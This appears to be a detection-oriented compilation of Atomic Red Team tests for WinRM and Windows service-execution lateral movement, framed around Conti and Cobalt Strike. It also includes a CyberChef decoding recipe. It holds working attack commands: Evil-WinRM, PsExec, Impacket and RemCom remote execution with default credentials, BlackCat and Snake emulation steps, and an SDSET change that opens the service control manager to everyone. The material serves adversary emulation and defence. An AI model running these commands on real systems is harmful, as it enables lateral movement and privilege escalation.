Detecting CONTI CobaltStrike Lateral Movement Techniques - Part 1

# T1021.006 - Remote Services: Windows Remote Management
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1021/006)
<blockquote>

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM  can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)

</blockquote>

## Atomic Tests

- [Atomic Test #1 - Enable Windows Remote Management](#atomic-test-1---enable-windows-remote-management)

- [Atomic Test #2 - Remote Code Execution with PS Credentials Using Invoke-Command](#atomic-test-2---remote-code-execution-with-ps-credentials-using-invoke-command)

- [Atomic Test #3 - WinRM Access with Evil-WinRM](#atomic-test-3---winrm-access-with-evil-winrm)


<br/>

## Atomic Test #1 - Enable Windows Remote Management
Powershell Enable WinRM

Upon successful execution, powershell will "Enable-PSRemoting" allowing for remote PS access.

**Supported Platforms:** Windows


**auto_generated_guid:** 9059e8de-3d7d-4954-a322-46161880b9cf






#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
Enable-PSRemoting -Force
```






<br/>
<br/>

## Atomic Test #2 - Remote Code Execution with PS Credentials Using Invoke-Command
Simulate lateral movement with PowerShell Remoting on the local host. 
Upon successful execution, PowerShell will execute `whoami` using `Invoke-Command`, targeting the 
local machine as remote target.

**Supported Platforms:** Windows


**auto_generated_guid:** 5295bd61-bd7e-4744-9d52-85962a4cf2d6






#### Attack Commands: Run with `powershell`! 


```powershell
Enable-PSRemoting -Force
Invoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami}
```

#### Cleanup Commands:
```powershell
Disable-PSRemoting -Force
```





<br/>
<br/>

## Atomic Test #3 - WinRM Access with Evil-WinRM
An adversary may attempt to use Evil-WinRM with a valid account to interact with remote systems that have WinRM enabled

**Supported Platforms:** Windows


**auto_generated_guid:** efe86d95-44c4-4509-ae42-7bfd9d1f5b3d





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| user_name | Username | string | Domain&#92;Administrator|
| destination_address | Remote Host IP or Hostname | string | Target|
| password | Password | string | P@ssw0rd1|


#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
evil-winrm -i #{destination_address} -u #{user_name} -p #{password}
```




#### Dependencies:  Run with `powershell`!
##### Description: Computer must have Ruby Installed
##### Check Prereq Commands:
```powershell
try {if (ruby -v) {exit 0} else {exit 1}} catch {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest  -OutFile "PathToAtomicsFolder\..\ExternalPayloads\rubyinstaller-2.7.1-1-x64.exe" https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-2.7.1-1/rubyinstaller-2.7.1-1-x64.exe
$file1= "PathToAtomicsFolder\..\ExternalPayloads\rubyinstaller-2.7.1-1-x64.exe"
Start-Process $file1 /S;
```
##### Description: Computer must have Evil-WinRM installed
##### Check Prereq Commands:
```powershell
try {if (evil-winrm -h) {exit 0} else {exit 1}} catch {exit 1}
```
##### Get Prereq Commands:
```powershell
gem install evil-winrm
```




<br/>

# T1569.002 - System Services: Service Execution
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1569/002)
<blockquote>

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).

[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution.

Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.

</blockquote>

## Atomic Tests

- [Atomic Test #1 - Execute a Command as a Service](#atomic-test-1---execute-a-command-as-a-service)

- [Atomic Test #2 - Use PsExec to execute a command on a remote host](#atomic-test-2---use-psexec-to-execute-a-command-on-a-remote-host)

- [Atomic Test #3 - psexec.py (Impacket)](#atomic-test-3---psexecpy-impacket)

- [Atomic Test #4 - BlackCat pre-encryption cmds with Lateral Movement](#atomic-test-4---blackcat-pre-encryption-cmds-with-lateral-movement)

- [Atomic Test #5 - Use RemCom to execute a command on a remote host](#atomic-test-5---use-remcom-to-execute-a-command-on-a-remote-host)

- [Atomic Test #6 - Snake Malware Service Create](#atomic-test-6---snake-malware-service-create)

- [Atomic Test #7 - Modifying ACL of Service Control Manager via SDET](#atomic-test-7---modifying-acl-of-service-control-manager-via-sdet)

- [Atomic Test #8 - Pipe Creation - PsExec Tool Execution From Suspicious Locations](#atomic-test-8---pipe-creation---psexec-tool-execution-from-suspicious-locations)


<br/>

## Atomic Test #1 - Execute a Command as a Service
Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.

Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file `art-marker.txt`

[BlackCat Ransomware (ALPHV)](https://www.varonis.com/blog/blackcat-ransomware)  
[Cybereason vs. BlackCat Ransomware](https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware)

**Supported Platforms:** Windows


**auto_generated_guid:** 2382dee2-a75f-49aa-9378-f52df6ed3fb1





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| service_name | Name of service to create | string | ARTService|
| executable_command | Command to execute as a service | string | %COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:&#92;art-marker.txt|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
sc.exe create #{service_name} binPath= "#{executable_command}"
sc.exe start #{service_name}
sc.exe delete #{service_name}
```

#### Cleanup Commands:
```cmd
del C:\art-marker.txt >nul 2>&1
```





<br/>
<br/>

## Atomic Test #2 - Use PsExec to execute a command on a remote host
Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments
Will start a process on a remote host.

Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).

**Supported Platforms:** Windows


**auto_generated_guid:** 873106b7-cfed-454b-8680-fa9f6400431c





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| remote_host | Remote hostname or IP address | string | localhost|
| user_name | Username | string | DOMAIN&#92;Administrator|
| password | Password | string | P@ssw0rd1|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{remote_host} -i -u #{user_name} -p #{password} -accepteula "C:\Windows\System32\calc.exe"
```




#### Dependencies:  Run with `powershell`!
##### Description: PsExec tool from Sysinternals must exist in the ExternalPayloads directory
##### Check Prereq Commands:
```powershell
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
```




<br/>
<br/>

## Atomic Test #3 - psexec.py (Impacket)
Will execute a command on the remote host with Impacket psexec.py script.

**Supported Platforms:** Linux


**auto_generated_guid:** edbcd8c9-3639-4844-afad-455c91e95a35





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| remote_host | Remote hostname or IP address | string | 127.0.0.1|
| username | Username | string | Administrator|
| domain | Target domain | string | |
| password | Password | string | P@ssw0rd1|
| command | Command to execute in target computer | string | whoami|


#### Attack Commands: Run with `bash`! 


```bash
psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}'
```




#### Dependencies:  Run with `bash`!
##### Description: psexec.py (Impacket)
##### Check Prereq Commands:
```bash
if [ -x "$(command -v psexec.py)" ]; then exit 0; else exit 1; fi;
```
##### Get Prereq Commands:
```bash
sudo pip3 install impacket
```




<br/>
<br/>

## Atomic Test #4 - BlackCat pre-encryption cmds with Lateral Movement
This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat

**Supported Platforms:** Windows


**auto_generated_guid:** 31eb7828-97d7-4067-9c1e-c6feb85edc4b





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| targethost | Target hostname to attempt psexec connection to for emulation of lateral movement. | string | $ENV:COMPUTERNAME|


#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
cmd.exe /c "wmic 	csproduct 	get UUID" 
cmd.exe /c "fsutil behavior 	set SymlinkEvaluation R2L:1" 
cmd.exe /c "fsutil behavior set 	SymlinkEvaluation R2R:1"
reg    add    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters    /v MaxMpxCt /d 65535 /t REG_DWORD /f      
copy "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" $env:temp
cmd.exe /c "$env:temp\psexec.exe  -accepteula  \\#{targethost} cmd.exe  /c echo "--access-token""
```

#### Cleanup Commands:
```powershell
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /f
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:0" 
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:0"
rm $env:temp\psexec.exe
```



#### Dependencies:  Run with `powershell`!
##### Description: PsExec must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"
##### Check Prereq Commands:
```powershell
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
```




<br/>
<br/>

## Atomic Test #5 - Use RemCom to execute a command on a remote host
Requires having RemCom installed, path to RemCom is one of the input input_arguments
Will start a process on a remote host.
Upon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost).

**Supported Platforms:** Windows


**auto_generated_guid:** a5d8cdeb-be90-43a9-8b26-cc618deac1e0





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| remote_host | Remote hostname or IP address | string | localhost|
| user_name | Username | string | Administrator|
| password | Password | string | P@ssw0rd1|


#### Attack Commands: Run with `command_prompt`! 


```cmd
"PathToAtomicsFolder\..\ExternalPayloads\remcom.exe" \\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe
```




#### Dependencies:  Run with `powershell`!
##### Description: RemCom tool must exist on disk in the ExternalPayloads folder
##### Check Prereq Commands:
```powershell
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe") { exit 0} else { exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/kavika13/RemCom/raw/master/bin/Release/RemCom.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe"
```




<br/>
<br/>

## Atomic Test #6 - Snake Malware Service Create
The following Atomic Test will create a new service named WerFaultSvc with a binary path of WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe.
This was recently seen in the Snake Malware report. 
Upon execution, sc.exe will create a new service named WerFaultSvc with a bin path \WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe and a display name of WerFault Service.
[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)

**Supported Platforms:** Windows


**auto_generated_guid:** b8db787e-dbea-493c-96cb-9272296ddc49






#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
sc.exe create "WerFaultSvc" binPath= "$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe" DisplayName= "WerFault Service" start= auto
```

#### Cleanup Commands:
```cmd
sc.exe delete "WerFaultSvc"
```





<br/>
<br/>

## Atomic Test #7 - Modifying ACL of Service Control Manager via SDET
Modify permissions of Service Control Manager via SDSET. This allows any administrative user to escalate privilege and create a service with SYSTEM level privileges.Restart is required.
[Blog](https://0xv1n.github.io/posts/scmanager/)

**Supported Platforms:** Windows


**auto_generated_guid:** bf07f520-3909-4ef5-aa22-877a50f2f77b






#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
sc.exe sdset scmanager D:(A;;KA;;;WD)
```






<br/>
<br/>

## Atomic Test #8 - Pipe Creation - PsExec Tool Execution From Suspicious Locations
Requires PsExec tool installed. BlackCat Ransomeware tried to propagate by creating pipe using PsExec process executing from suspicious locations (In the particular case the legitimate PsExec executable is embedded within the Windows variant and is dropped in the victim’s %TEMP% directory). pon successful execution, PsExec will be executed from suspicious location and create a new pipe to execute CMD.

**Supported Platforms:** Windows


**auto_generated_guid:** 004a5d68-627b-452d-af3d-43bd1fc75a3b






#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
cd C:\Users\Public\Temp\ 
.\PsExec.exe -i -s cmd  -accepteula
```




#### Dependencies:  Run with `powershell`!
##### Description: PsExec tool from Sysinternals must exist in the '\Users\Public\Temp\' directory
##### Check Prereq Commands:
```powershell
if (Get-ChildItem -Path C:\ -Include *psexec* -File -Recurse -ErrorAction SilentlyContinue) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory "C:\Users\Public\Temp\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "C:\Users\Public\Temp\PSTools.zip"
Expand-Archive "C:\Users\Public\Temp\PsTools.zip" "C:\Users\Public\Temp\" -Force
```




<br/>

From_Base64('A-Za-z0-9+/=',true)
Remove_null_bytes()
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
From_Base64('A-Za-z0-9+/=',true)
Gunzip()
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
From_Base64('A-Za-z0-9+/=',true)
XOR({'option':'Decimal','string':'35'},'Standard',false)